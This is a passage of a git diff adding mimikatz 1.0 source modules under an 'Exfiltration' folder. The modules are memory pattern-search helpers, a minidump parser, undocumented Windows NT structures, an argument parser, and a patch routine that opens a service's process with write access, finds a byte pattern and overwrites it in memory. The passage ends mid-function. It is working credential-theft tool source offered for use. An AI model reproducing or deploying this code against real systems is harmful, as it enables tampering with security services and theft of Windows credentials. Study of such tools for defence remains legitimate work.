+ BYTE * monTab = new BYTE[longueur];
+ *addressePattern = adresseBase;
+ bool succesLecture = true;
+ bool succesPattern = false;
+
+ while((!adresseMaxMin || (enAvant ? (*addressePattern + longueur) <= adresseMaxMin : (*addressePattern - longueur) >= adresseMaxMin)) && succesLecture && !succesPattern)
+ {
+ if(succesLecture = readMemory(*addressePattern, monTab, longueur, handleProcess))
+ {
+ if(!(succesPattern = (memcmp(monTab, pattern, longueur) == 0)))
+ {
+ *addressePattern += (enAvant ? 1 : -1);
+ }
+ }
+ }
+ delete[] monTab;
+
+ if(!succesPattern)
+ *addressePattern = NULL;
+
+ return succesPattern;
+}
+
+bool mod_memory::searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur, bool enAvant, HANDLE handleProcess)
+{
+ PBYTE addressePattern = NULL;
+ bool resultat = mod_memory::searchMemory(adresseBase, (offsetMaxMin != 0 ? (adresseBase + offsetMaxMin) : NULL), pattern, &addressePattern, longueur, enAvant, handleProcess);
+ *offsetPattern = addressePattern - adresseBase;
+ return resultat;
+}
+
+bool mod_memory::genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc, bool enAvant, bool noPtr)
+{
+ bool resultat = false;
+ if(thePtr && pattern && taillePattern)
+ {
+ if(HMODULE monModule = GetModuleHandle(moduleName))
+ {
+ MODULEINFO mesInfos;
+ if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO)))
+ {
+ PBYTE addrMonModule = reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll);
+
+ if(PBYTE addrDebut = startFunc ? reinterpret_cast<PBYTE>(GetProcAddress(monModule, startFunc)) : addrMonModule)
+ {
+ if(resultat = mod_memory::searchMemory(addrDebut, enAvant ? (addrMonModule + mesInfos.SizeOfImage) : reinterpret_cast<PBYTE>(mesInfos.lpBaseOfDll), pattern, thePtr, taillePattern, enAvant))
+ {
+ *thePtr += offSetToPtr;
+ if(!noPtr)
+ {
+#ifdef _M_X64
+ *thePtr += sizeof(long) + *reinterpret_cast<long *>(*thePtr);
+#elif defined _M_IX86
+ *thePtr = *reinterpret_cast<PBYTE *>(*thePtr);
+#endif
+ }
+ }
+ else *thePtr = NULL;
+ }
+ }
+ }
+ }
+ return resultat;
+}
+
+/*bool mod_memory::WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset) // et merde je la documente pas celle là !
+{
+ PBYTE autreAddr = adresseBase;
+ PBYTE monMask = new BYTE[longueurMask];
+ PBYTE monTab = new BYTE[longueurMask];
+
+ RtlCopyMemory(monMask, maskPattern, longueurMask);
+ bool succesLecture = false, succesPattern = false;
+ do
+ {
+ PBYTE funkyDiff = reinterpret_cast<PBYTE>(addrPattern - (autreAddr + offsetAddrInMask + 4));
+ RtlCopyMemory(monMask+offsetAddrInMask, reinterpret_cast<PBYTE>(&funkyDiff), 4);
+ succesLecture = readMemory(autreAddr, monTab, longueurMask);
+ succesPattern = memcmp(monTab, monMask, longueurMask) == 0;
+ autreAddr+=offset;
+ } while(!succesPattern && succesLecture);
+
+ delete[] monMask;
+
+ if(succesPattern && succesLecture)
+ {
+ *addressePattern = autreAddr-offset;
+ return true;
+ }
+ else return false;
+}*/
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_memory.h b/Exfiltration/mimikatz-1.0/modules/mod_memory.h
new file mode 100644
index 0000000..31eb27f
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_memory.h
@@ -0,0 +1,22 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include <psapi.h>
+
+class mod_memory
+{
+public:
+ static bool readMemory(const void * adresseBase, void * adresseDestination, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE);
+ static bool writeMemory(void * adresseBase, const void * adresseSource, size_t longueur = 1, HANDLE handleProcess = INVALID_HANDLE_VALUE);
+
+ static bool searchMemory(const PBYTE adresseBase, const PBYTE adresseMaxMin, const PBYTE pattern, PBYTE * addressePattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE);
+ static bool searchMemory(const PBYTE adresseBase, const long offsetMaxMin, const PBYTE pattern, long * offsetPattern, size_t longueur = 1, bool enAvant = true, HANDLE handleProcess = INVALID_HANDLE_VALUE);
+
+ static bool genericPatternSearch(PBYTE * thePtr, wchar_t * moduleName, BYTE pattern[], ULONG taillePattern, LONG offSetToPtr, char * startFunc = NULL, bool enAvant = true, bool noPtr = false);
+
+ /*static bool WhereIsMyFuckingRelativePattern(const PBYTE adresseBase, const PBYTE addrPattern, const PBYTE maskPattern, PBYTE *addressePattern, size_t longueurMask, const long offsetAddrInMask, const long offset = 1); // et merde je la documente pas celle là !*/
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp
new file mode 100644
index 0000000..2825451
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_minidump.cpp
@@ -0,0 +1,163 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_minidump.h"
+
+mod_minidump::mod_minidump() : monFichier(NULL), monFileMapping(NULL), mesDonnees(NULL)
+{
+}
+
+mod_minidump::~mod_minidump(void)
+{
+ if(mesDonnees)
+ UnmapViewOfFile(mesDonnees);
+
+ if(monFileMapping)
+ CloseHandle(monFileMapping);
+
+ if(monFichier)
+ CloseHandle(monFichier);
+}
+
+LPVOID mod_minidump::RVAtoPTR(RVA monRVA)
+{
+ return reinterpret_cast<PBYTE>(mesDonnees) + monRVA;
+}
+
+bool mod_minidump::open(wchar_t * filename)
+{
+ bool resultat = false;
+
+ if(monFichier = CreateFile(filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL))
+ if(monFileMapping = CreateFileMapping(monFichier, NULL, PAGE_READONLY, 0, 0, NULL))
+ if(mesDonnees = MapViewOfFile(monFileMapping, FILE_MAP_READ, 0, 0, 0))
+ resultat = (reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Signature == MINIDUMP_SIGNATURE) && (static_cast<WORD>(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Version) == MINIDUMP_VERSION);
+
+ return resultat;
+}
+
+MINIDUMP_TYPE mod_minidump::getFlags()
+{
+ return static_cast<MINIDUMP_TYPE>(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->Flags);
+}
+
+const wchar_t *FlagsString[] = {
+ L"MiniDumpNormal",
+ L"MiniDumpWithDataSegs",
+ L"MiniDumpWithFullMemory",
+ L"MiniDumpWithHandleData",
+ L"MiniDumpFilterMemory",
+ L"MiniDumpScanMemory",
+ L"MiniDumpWithUnloadedModules",
+ L"MiniDumpWithIndirectlyReferencedMemory",
+ L"MiniDumpFilterModulePaths",
+ L"MiniDumpWithProcessThreadData",
+ L"MiniDumpWithPrivateReadWriteMemory",
+ L"MiniDumpWithoutOptionalData",
+ L"MiniDumpWithFullMemoryInfo",
+ L"MiniDumpWithThreadInfo",
+ L"MiniDumpWithCodeSegs",
+ L"MiniDumpWithoutAuxiliaryState",
+ L"MiniDumpWithFullAuxiliaryState",
+ L"MiniDumpWithPrivateWriteCopyMemory",
+ L"MiniDumpIgnoreInaccessibleMemory",
+ L"MiniDumpWithTokenInformation"
+};
+
+bool mod_minidump::FlagsToStrings(vector<wstring> * monVecteur)
+{
+ return FlagsToStrings(getFlags(), monVecteur);
+}
+
+bool mod_minidump::FlagsToStrings(MINIDUMP_TYPE Flags, vector<wstring> * monVecteur)
+{
+ bool resultat = false;
+
+ if(!Flags)
+ {
+ monVecteur->push_back(FlagsString[0]);
+ resultat = true;
+ }
+ else if(Flags & MiniDumpValidTypeFlags)
+ {
+ DWORD shift, i;
+ for(shift = MiniDumpWithDataSegs, i = 1; shift <= MiniDumpWithTokenInformation; shift<<=1, i++)
+ {
+ if((Flags & shift) == shift)
+ monVecteur->push_back(FlagsString[i]);
+ }
+ resultat = true;
+ }
+
+ return resultat;
+}
+
+LPVOID mod_minidump::getStream(MINIDUMP_STREAM_TYPE type)
+{
+ PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast<PMINIDUMP_DIRECTORY>(RVAtoPTR(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->StreamDirectoryRva));
+ for(DWORD i = 0; i < reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->NumberOfStreams; i++)
+ {
+ if(mesRepertoires[i].StreamType == type)
+ return RVAtoPTR(mesRepertoires[i].Location.Rva);
+ }
+ return NULL;
+}
+
+PMINIDUMP_MODULE mod_minidump::getMinidumpModule(wstring & nomModule)
+{
+ if(PMINIDUMP_MODULE_LIST monObject = reinterpret_cast<PMINIDUMP_MODULE_LIST>(getStream(ModuleListStream)))
+ {
+ for(DWORD i = 0; i < monObject->NumberOfModules; i++)
+ {
+ PMINIDUMP_MODULE monModule = &monObject->Modules[i];
+ PMINIDUMP_STRING monModuleString = reinterpret_cast<PMINIDUMP_STRING>(RVAtoPTR(monObject->Modules[i].ModuleNameRva));
+ if(mod_text::wstr_ends_with(monModuleString->Buffer, monModuleString->Length / sizeof(wchar_t), nomModule.c_str(), nomModule.size()))
+ return monModule;
+ }
+ }
+ return NULL;
+}
+
+bool mod_minidump::getStreamsVector(vector<PMINIDUMP_DIRECTORY> * monVecteur)
+{
+ PMINIDUMP_DIRECTORY mesRepertoires = reinterpret_cast<PMINIDUMP_DIRECTORY>(RVAtoPTR(reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->StreamDirectoryRva));
+ for(DWORD i = 0; i < reinterpret_cast<PMINIDUMP_HEADER>(mesDonnees)->NumberOfStreams; monVecteur->push_back(&mesRepertoires[i++]));
+ return true;
+}
+
+const wchar_t *StreamTypeString[] = {
+ L"UnusedStream",
+ L"ReservedStream0",
+ L"ReservedStream1",
+ L"ThreadListStream",
+ L"ModuleListStream",
+ L"MemoryListStream",
+ L"ExceptionStream",
+ L"SystemInfoStream",
+ L"ThreadExListStream",
+ L"Memory64ListStream",
+ L"CommentStreamA",
+ L"CommentStreamW",
+ L"HandleDataStream",
+ L"FunctionTableStream",
+ L"UnloadedModuleListStream",
+ L"MiscInfoStream",
+ L"MemoryInfoListStream",
+ L"ThreadInfoListStream",
+ L"HandleOperationListStream",
+ L"TokenStream"
+};
+
+wstring mod_minidump::StreamTypeToString(MINIDUMP_STREAM_TYPE monType)
+{
+ if(monType <= TokenStream)
+ return StreamTypeString[monType];
+ else
+ {
+ wostringstream monStream;
+ monStream << L"Inconnu (" << monType << L")";
+ return monStream.str();
+ }
+} \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_minidump.h b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h
new file mode 100644
index 0000000..4247ab0
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_minidump.h
@@ -0,0 +1,33 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include <dbghelp.h>
+#include "mod_text.h"
+
+class mod_minidump
+{
+private:
+ HANDLE monFichier, monFileMapping;
+ LPVOID mesDonnees;
+
+public:
+ mod_minidump();
+ virtual ~mod_minidump(void);
+
+ LPVOID RVAtoPTR(RVA monRVA);
+ bool open(wchar_t * filename);
+ LPVOID getStream(MINIDUMP_STREAM_TYPE type);
+
+ PMINIDUMP_MODULE getMinidumpModule(wstring & nomModule);
+ bool getStreamsVector(vector<PMINIDUMP_DIRECTORY> * monVecteur);
+ MINIDUMP_TYPE getFlags();
+ bool FlagsToStrings(vector<wstring> * monVecteur);
+
+
+ static wstring StreamTypeToString(MINIDUMP_STREAM_TYPE monType);
+ static bool FlagsToStrings(MINIDUMP_TYPE Flags, vector<wstring> * monVecteur);
+};
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h
new file mode 100644
index 0000000..7188f2d
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_ntddk.h
@@ -0,0 +1,322 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include <windows.h>
+#include <ntsecapi.h>
+
+typedef LONG KPRIORITY;
+typedef void** PPVOID;
+
+typedef enum _SYSTEM_INFORMATION_CLASS {
+ SystemBasicInformation,
+ SystemProcessorInformation,
+ SystemPerformanceInformation,
+ SystemTimeOfDayInformation,
+ SystemPathInformation,
+ SystemProcessInformation,
+ SystemCallCountInformation,
+ SystemDeviceInformation,
+ SystemProcessorPerformanceInformation,
+ SystemFlagsInformation,
+ SystemCallTimeInformation,
+ SystemModuleInformation,
+ SystemLocksInformation,
+ SystemStackTraceInformation,
+ SystemPagedPoolInformation,
+ SystemNonPagedPoolInformation,
+ SystemHandleInformation,
+ SystemObjectInformation,
+ SystemPageFileInformation,
+ SystemVdmInstemulInformation,
+ SystemVdmBopInformation,
+ SystemFileCacheInformation,
+ SystemPoolTagInformation,
+ SystemInterruptInformation,
+ SystemDpcBehaviorInformation,
+ SystemFullMemoryInformation,
+ SystemLoadGdiDriverInformation,
+ SystemUnloadGdiDriverInformation,
+ SystemTimeAdjustmentInformation,
+ SystemSummaryMemoryInformation,
+ SystemNextEventIdInformation,
+ SystemEventIdsInformation,
+ SystemCrashDumpInformation,
+ SystemExceptionInformation,
+ SystemCrashDumpStateInformation,
+ SystemKernelDebuggerInformation,
+ SystemContextSwitchInformation,
+ SystemRegistryQuotaInformation,
+ SystemExtendServiceTableInformation,
+ SystemPrioritySeperation,
+ SystemPlugPlayBusInformation,
+ SystemDockInformation,
+ KIWI_SystemPowerInformation,
+ SystemProcessorSpeedInformation,
+ SystemCurrentTimeZoneInformation,
+ SystemLookasideInformation,
+ KIWI_SystemMmSystemRangeStart = 50
+} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;
+
+typedef enum _OBJECT_INFORMATION_CLASS {
+ ObjectBasicInformation,
+ ObjectNameInformation,
+ ObjectTypeInformation,
+ ObjectAllInformation,
+ ObjectDataInformation
+} OBJECT_INFORMATION_CLASS, *POBJECT_INFORMATION_CLASS;
+
+
+typedef enum _PROCESSINFOCLASS {
+ ProcessBasicInformation,
+ ProcessQuotaLimits,
+ ProcessIoCounters,
+ ProcessVmCounters,
+ ProcessTimes,
+ ProcessBasePriority,
+ ProcessRaisePriority,
+ ProcessDebugPort,
+ ProcessExceptionPort,
+ ProcessAccessToken,
+ ProcessLdtInformation,
+ ProcessLdtSize,
+ ProcessDefaultHardErrorMode,
+ ProcessIoPortHandlers, // Note: this is kernel mode only
+ ProcessPooledUsageAndLimits,
+ ProcessWorkingSetWatch,
+ ProcessUserModeIOPL,
+ ProcessEnableAlignmentFaultFixup,
+ ProcessPriorityClass,
+ ProcessWx86Information,
+ ProcessHandleCount,
+ ProcessAffinityMask,
+ ProcessPriorityBoost,
+ ProcessDeviceMap,
+ ProcessSessionInformation,
+ ProcessForegroundInformation,
+ ProcessWow64Information,
+ ProcessImageFileName,
+ ProcessLUIDDeviceMapsEnabled,
+ ProcessBreakOnTermination,
+ ProcessDebugObjectHandle,
+ ProcessDebugFlags,
+ ProcessHandleTracing,
+ ProcessIoPriority,
+ ProcessExecuteFlags,
+ ProcessTlsInformation,
+ ProcessCookie,
+ ProcessImageInformation,
+ ProcessCycleTime,
+ ProcessPagePriority,
+ ProcessInstrumentationCallback,
+ ProcessThreadStackAllocation,
+ ProcessWorkingSetWatchEx,
+ ProcessImageFileNameWin32,
+ ProcessImageFileMapping,
+ ProcessAffinityUpdateMode,
+ ProcessMemoryAllocationMode,
+ ProcessGroupInformation,
+ ProcessTokenVirtualizationEnabled,
+ ProcessConsoleHostProcess,
+ ProcessWindowInformation,
+ MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum
+} PROCESSINFOCLASS;
+
+typedef enum _POOL_TYPE
+{
+ NonPagedPool,
+ PagedPool,
+ NonPagedPoolMustSucceed,
+ DontUseThisType,
+ NonPagedPoolCacheAligned,
+ PagedPoolCacheAligned,
+ NonPagedPoolCacheAlignedMustS
+} POOL_TYPE, *PPOOL_TYPE;
+
+typedef struct _PROCESS_SESSION_INFORMATION {
+ ULONG SessionId;
+} PROCESS_SESSION_INFORMATION, *PPROCESS_SESSION_INFORMATION;
+
+typedef struct _PROCESS_ACCESS_TOKEN {
+ HANDLE Token;
+ HANDLE Thread;
+} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;
+
+typedef struct _OBJECT_TYPE_INFORMATION
+{
+ UNICODE_STRING Name;
+ ULONG TotalNumberOfObjects;
+ ULONG TotalNumberOfHandles;
+ ULONG TotalPagedPoolUsage;
+ ULONG TotalNonPagedPoolUsage;
+ ULONG TotalNamePoolUsage;
+ ULONG TotalHandleTableUsage;
+ ULONG HighWaterNumberOfObjects;
+ ULONG HighWaterNumberOfHandles;
+ ULONG HighWaterPagedPoolUsage;
+ ULONG HighWaterNonPagedPoolUsage;
+ ULONG HighWaterNamePoolUsage;
+ ULONG HighWaterHandleTableUsage;
+ ULONG InvalidAttributes;
+ GENERIC_MAPPING GenericMapping;
+ ULONG ValidAccess;
+ BOOLEAN SecurityRequired;
+ BOOLEAN MaintainHandleCount;
+ USHORT MaintainTypeList;
+ POOL_TYPE PoolType;
+ ULONG PagedPoolUsage;
+ ULONG NonPagedPoolUsage;
+} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
+
+typedef struct _LDR_DATA_TABLE_ENTRY
+{
+ LIST_ENTRY InLoadOrderLinks;
+ LIST_ENTRY InMemoryOrderLinks;
+ LIST_ENTRY InInitializationOrderLinks;
+ PVOID DllBase;
+ PVOID EntryPoint;
+ ULONG SizeOfImage;
+ UNICODE_STRING FullDllName;
+ UNICODE_STRING BaseDllName;
+ ULONG Flags;
+ WORD LoadCount;
+ WORD TlsIndex;
+ union
+ {
+ LIST_ENTRY HashLinks;
+ struct
+ {
+ PVOID SectionPointer;
+ ULONG CheckSum;
+ };
+ };
+ union
+ {
+ ULONG TimeDateStamp;
+ PVOID LoadedImports;
+ };
+ DWORD EntryPointActivationContext; //_ACTIVATION_CONTEXT * EntryPointActivationContext;
+ PVOID PatchInformation;
+ LIST_ENTRY ForwarderLinks;
+ LIST_ENTRY ServiceTagLinks;
+ LIST_ENTRY StaticLinks;
+} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
+
+
+typedef struct _PEB_LDR_DATA {
+ ULONG Length;
+ BOOLEAN Initialized;
+ PVOID SsHandle;
+ LIST_ENTRY InLoadOrderModulevector;
+ LIST_ENTRY InMemoryOrderModulevector;
+ LIST_ENTRY InInitializationOrderModulevector;
+} PEB_LDR_DATA, *PPEB_LDR_DATA;
+
+
+typedef struct _PEB
+{
+ BOOLEAN InheritedAddressSpace;
+ BOOLEAN ReadImageFileExecOptions;
+ BOOLEAN BeingDebugged;
+ BOOLEAN Spare;
+ HANDLE Mutant;
+ PVOID ImageBaseAddress;
+ PPEB_LDR_DATA LoaderData;
+ PVOID ProcessParameters; //PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
+ PVOID SubSystemData;
+ PVOID ProcessHeap;
+ PVOID FastPebLock;
+ PVOID FastPebLockRoutine; //PPEBLOCKROUTINE FastPebLockRoutine;
+ PVOID FastPebUnlockRoutine; //PPEBLOCKROUTINE FastPebUnlockRoutine;
+ ULONG EnvironmentUpdateCount;
+ PPVOID KernelCallbackTable;
+ PVOID EventLogSection;
+ PVOID EventLog;
+ DWORD Freevector; //PPEB_FREE_BLOCK Freevector;
+ ULONG TlsExpansionCounter;
+ PVOID TlsBitmap;
+ ULONG TlsBitmapBits[0x2];
+ PVOID ReadOnlySharedMemoryBase;
+ PVOID ReadOnlySharedMemoryHeap;
+ PPVOID ReadOnlyStaticServerData;
+ PVOID AnsiCodePageData;
+ PVOID OemCodePageData;
+ PVOID UnicodeCaseTableData;
+ ULONG NumberOfProcessors;
+ ULONG NtGlobalFlag;
+ BYTE Spare2[0x4];
+ LARGE_INTEGER CriticalSectionTimeout;
+ ULONG HeapSegmentReserve;
+ ULONG HeapSegmentCommit;
+ ULONG HeapDeCommitTotalFreeThreshold;
+ ULONG HeapDeCommitFreeBlockThreshold;
+ ULONG NumberOfHeaps;
+ ULONG MaximumNumberOfHeaps;
+ PPVOID *ProcessHeaps;
+ PVOID GdiSharedHandleTable;
+ PVOID ProcessStarterHelper;
+ PVOID GdiDCAttributevector;
+ PVOID LoaderLock;
+ ULONG OSMajorVersion;
+ ULONG OSMinorVersion;
+ ULONG OSBuildNumber;
+ ULONG OSPlatformId;
+ ULONG ImageSubSystem;
+ ULONG ImageSubSystemMajorVersion;
+ ULONG ImageSubSystemMinorVersion;
+ ULONG GdiHandleBuffer[0x22];
+ ULONG PostProcessInitRoutine;
+ ULONG TlsExpansionBitmap;
+ BYTE TlsExpansionBitmapBits[0x80];
+ ULONG SessionId;
+} PEB, *PPEB;
+
+typedef struct _PROCESS_BASIC_INFORMATION {
+ NTSTATUS ExitStatus;
+ PPEB PebBaseAddress;
+ ULONG_PTR AffinityMask;
+ KPRIORITY BasePriority;
+ ULONG_PTR UniqueProcessId;
+ ULONG_PTR InheritedFromUniqueProcessId;
+} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION;
+
+typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION {
+ SIZE_T Size; // Must be set to structure size on input
+ PROCESS_BASIC_INFORMATION BasicInfo;
+ union {
+ ULONG Flags;
+ struct {
+ ULONG IsProtectedProcess : 1;
+ ULONG IsWow64Process : 1;
+ ULONG IsProcessDeleting : 1;
+ ULONG IsCrossSessionCreate : 1;
+ ULONG SpareBits : 28;
+ } DUMMYSTRUCTNAME;
+ } DUMMYUNIONNAME;
+} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION;
+
+typedef struct _SYSTEM_HANDLE
+{
+ DWORD ProcessId;
+ BYTE ObjectTypeNumber;
+ BYTE Flags;
+ USHORT Handle;
+ PVOID Object;
+ ACCESS_MASK GrantedAccess;
+} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
+
+typedef struct _SYSTEM_HANDLE_INFORMATION
+{
+ DWORD HandleCount;
+ SYSTEM_HANDLE Handles[1];
+} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
+
+typedef NTSTATUS (WINAPI * PNT_QUERY_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __out PVOID ProcessInformation, __in ULONG ProcessInformationLength, __out_opt PULONG ReturnLength);
+typedef NTSTATUS (WINAPI * PNT_SET_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in PVOID ProcessInformation, __in ULONG ProcessInformationLength);
+typedef NTSTATUS (WINAPI * PNT_SUSPEND_PROCESS) (__in HANDLE ProcessHandle);
+typedef NTSTATUS (WINAPI * PNT_RESUME_PROCESS) (__in HANDLE ProcessHandle);
+typedef NTSTATUS (WINAPI * PNT_QUERY_SYSTEM_INFORMATION) (__in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength);
+typedef NTSTATUS (WINAPI * PNT_QUERY_OBJECT) (__in_opt HANDLE Handle, __in OBJECT_INFORMATION_CLASS ObjectInformationClass, __out_opt PVOID ObjectInformation, __in ULONG ObjectInformationLength, __out_opt PULONG ReturnLength);
+typedef NTSTATUS (WINAPI * PNT_FILTER_TOKEN) (__in HANDLE ExistingTokenHandle, __in ULONG Flags, __in PTOKEN_GROUPS SidsToDisable, __in PTOKEN_PRIVILEGES PrivilegeToDelete, __in PTOKEN_GROUPS SidsToRestricted, __out PHANDLE NewTokenHandle); \ No newline at end of file
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp
new file mode 100644
index 0000000..3388c3e
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp
@@ -0,0 +1,38 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_parseur.h"
+
+vector<wstring> mod_parseur::parse(const wstring & line)
+{
+ vector<wstring> result;
+
+ wstring item;
+ wstringstream ss(line);
+
+ while(ss >> item)
+ {
+ if (item[0] == L'"')
+ {
+ if (item[item.length() - 1] == L'"')
+ {
+ result.push_back(item.substr(1, item.length() -2));
+ }
+ else
+ {
+ wstring restOfItem;
+ getline(ss, restOfItem, L'"');
+ result.push_back(item.substr(1) + restOfItem);
+ }
+ }
+ else
+ {
+ result.push_back(item);
+ }
+ }
+
+ return result;
+}
+
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.h b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h
new file mode 100644
index 0000000..e897aba
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h
@@ -0,0 +1,15 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#pragma once
+#include "globdefs.h"
+#include <sstream>
+
+class mod_parseur
+{
+public:
+ static vector<wstring> parse(const wstring & line);
+};
+
diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp
new file mode 100644
index 0000000..95b46c6
--- /dev/null
+++ b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp
@@ -0,0 +1,146 @@
+/* Benjamin DELPY `gentilkiwi`
+ http://blog.gentilkiwi.com
+ benjamin@gentilkiwi.com
+ Licence : http://creativecommons.org/licenses/by/3.0/fr/
+*/
+#include "mod_patch.h"
+#include "..\mimikatz\global.h"
+
+bool mod_patch::patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace)
+{
+ bool reussite = false;
+
+ mod_service::KIWI_SERVICE_STATUS_PROCESS monService;
+ if(mod_service::getUniqueForName(&monService, &serviceName))
+ {
+ if(monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOPPED && monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOP_PENDING)
+ {
+ (*outputStream) << L"Service : " << monService.serviceDisplayName << endl;
+ reussite = patchModuleOfPID(monService.ServiceStatusProcess.dwProcessId, moduleName, patternToSearch, szPatternToSearch, patternToPlace, szPatternToPlace, offsetForPlace);
+ }
+ else (*outputStream) << L"Le service : " << serviceName << L" (" << monService.serviceDisplayName << L") ; n\'a pas l\'air très actif" << endl;
+ }
+ else (*outputStream) << L"Impossible de trouver le service : " << serviceName << L" ; " << mod_system::getWinError() << endl;
+
+ return reussite;
+}
+
+bool mod_patch::patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace)
+{
+ bool reussite = false;
+
+ mod_process::KIWI_MODULEENTRY32 monModule;
+ if(mod_process::getUniqueModuleForName(&monModule, (moduleName.empty() ? NULL : &moduleName), &pid))
+ {
+ BYTE * baseAddr = monModule.modBaseAddr;
+ DWORD taille = monModule.modBaseSize;
+
+ if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid))
+ {
+ (*outputStream) << L"Recherche des patterns dans : " << moduleName << L"@pid(" << pid << L")" << endl;
+
+ BYTE * addrPattern = NULL;
+ if(mod_memory::searchMemory(baseAddr, baseAddr + taille, patternToSearch, &addrPattern, szPatternToSearch, true, processHandle))
+ {
+ reussite = mod_memory::writeMemory(addrPattern + offsetForPlace, patternToPlace, szPatternToPlace, processHandle);
+ (*outputStream) << L"Patch " << moduleName << L"@pid(" << pid << L") : " << (reussite ? L"OK" : L"KO") << endl;
+ }
+ else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
+
+ CloseHandle(processHandle);
+ }
+ else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl;
+ }
+ else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl;
+ return reussite;
+}
+
+bool mod_patch::getFullVersion(DWORD * majorVersion, DWORD * minorVersion, DWORD * build, bool * isServer, bool * is64)
+{
+ bool reussite = false;
+
+ OSVERSIONINFOEX maVersion;
+ if(reussite = mod_system::getVersion(&maVersion))
+ {
+ if(majorVersion) *majorVersion = maVersion.dwMajorVersion;
+ if(majorVersion) *minorVersion = maVersion.dwMinorVersion;
+ if(build) *build = maVersion.dwBuildNumber;
